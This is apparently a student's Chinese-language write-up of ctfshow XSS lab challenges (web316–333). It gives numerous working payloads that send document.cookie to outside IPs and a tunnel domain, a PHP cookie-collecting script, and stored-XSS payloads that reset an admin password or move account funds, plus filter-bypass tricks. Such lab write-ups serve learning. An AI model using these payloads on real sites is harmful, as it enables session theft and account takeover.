額,怎么說呢,對xss理解不深刻,雖然做了XSS-LAB,但是感覺不會用,看了群主的視頻,知道了原因,用群主的話來說就是,X的是自己。。。
這個文章寫得比較潦草。。。
准備一個帶nc的工具;
無vps
"""
牛啊牛啊!群主之前發了一個無公網IP反彈shell的視頻,學到了學到了,牛啊牛啊。太牛了,群主頂呱呱。
"""
這里以web321做一個例子:
准備:kali虛擬機,花生殼。

先進行穿透,接着測試一下本地能不能連通什么的。我虛擬機的虛擬網卡需要重啟一下才能夠連通虛擬機。如果本地不能連通,那么就反彈不了。當然這里不需要反彈shell,只需要外帶就行。
先進行本地測試:windows(本機)curl 域名,kali偵聽8181端口(穿透哪個端口,就偵聽哪一個)

可以看到kali能夠接受到windows這邊的請求。
接着就可以在題目中進行外帶cookie了:

這就外帶成功了。大師傅牛啊牛啊。
這種方式外帶,需要等10秒
有vps就不多說了,看一看防火牆開端口,或者是安全組開端口沒,關閉防火牆之后也可能別安全組擋下來(又有的叫安全策略組,叫法無所謂)。
再看看nc工具是不是需要更新一下(加一個--v參數,如果指定的參數和顯示的參數不一樣,就說明nc有點小毛病了)。或者是多重啟幾次。。。
我之前能踩的坑都踩了一遍,一天下來一個題都沒做。xss全是x的自己,嗚嗚嗚。
搜尋一波能夠XSS的先
外帶
<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>
<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>
<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發
<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
web 316
需要生成鏈接,拿到管理員的cookie;提交構造的連接,后台bot每隔10S會點擊一次鏈接。
要注意,拿cookie要拿管理員的cookie,或者說是拿后台bot的cookie,而不是拿自己的cookie;
按照上面的那個步驟做就好了
web 317
說的是過濾了xss,所以只能夠用自己的vps了
web 320
過濾空格
用tab代替,在hackbar中寫入%09,利用hackbar進行urldecode
用/**/代替
web 321
不知道過濾了啥
paylaod:
<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
web 322
不知道過濾了啥,同上
web 323-6
<body/**/onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
感覺是,姿勢越騷,越不容易被過濾
看了一下,Y4爺的博客,
324過濾;
325過濾.,?但是沒有感覺喃?
web 327
存儲型xss;發送者和接受者都用的admin,剩余的隨便,內容是:<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
拿到了flag,但是怎么就拿到了呢???
看了視頻,大師傅說的是,發送者是admin就行了
web 328
在本地,不知道為啥nc拿不到數據了,所以采用寫接受腳本的方式來接受cookie
<?php
$data=$_GET['data'];
$myfile=fopen('xss_flag.txt',"w") or die("unable to open file!");
fwrite($myfile,$data);
echo "done";
?>
唔,按理來講,將花生殼的端口修改為80端口(kali用的是PHP7.3和Apache),也能夠接受信息,但是虛擬機出了點問題,所以就用了vps;腳本還是不變;
解題:
注冊用戶名隨便設置:
密碼如下:
<body onload="window.open('http://121.41.2.26/x.php?data=/'+document.cookie)"></body>
或者
<script>window.location.href='http://121.41.2.26/x.php?data='+document.cookie</script>
接着登錄:查看xss_flag.txt,拿到admin的cookie

將cookie修改為admin的cookie

開啟抓包,刷新界面,一步一步forward,即可看到flag

web 329
不會,思路是:執行js代碼,實現頁面內容的外帶
web 330
想的是登錄管理員的賬號,由於沒有密碼
思路是:修改管理員密碼,以管理員身份進行登錄
解題:
注冊:
賬戶名為<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>
密碼:1
接着用賬戶<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>登錄一次,登出;
登錄管理員賬號:admin 密碼:3(抓包防止跳轉)
web 331
試了一下賬號密碼等地方的注入,都不行,所以抓包看一下,發現是利用post方式進行已交,那么就構造post提交的的方式。
大師傅是構造的:(從源代碼中的js文件中找到的一個ajax提交)
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
bfengj師傅利用js發送了一個http請求:
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>
web 332
登錄檢查一遍,發現是post傳參,所以依舊似是用331的payload來進行了一次提交,結果不行。於是看了大師傅的視頻。
???轉賬-10000
隨便注冊登錄一下,接着在轉賬界面,收款用戶是admin,然后付款-10000,接着購買
web 333
盲猜是轉賬加過濾了332的情況。
注冊賬戶:12,密碼隨便
注冊賬戶: <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>,密碼隨便
隨后登錄賬戶12,即可購買flag。
/api/amount.php <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>
總結
雖然說題是做完了,同樣也了解了反射型和存儲型XSS的攻擊方式。反射型是生成了鏈接同時被后台點擊,存儲型這里就不太清楚了,感覺是生成了被反復執行的代碼存放到了后台。同時每一次訪問該界面就會觸發一次。
因為做題時是看的大師傅的視頻和bfengj師傅的博客,學習到了很多。
同時也被兩位師傅的技術棧給震撼到。一路過來都是看的各種師傅們的博客,在做題的時候也學習到了各種方法。
所以有事沒事,看看ctfshow
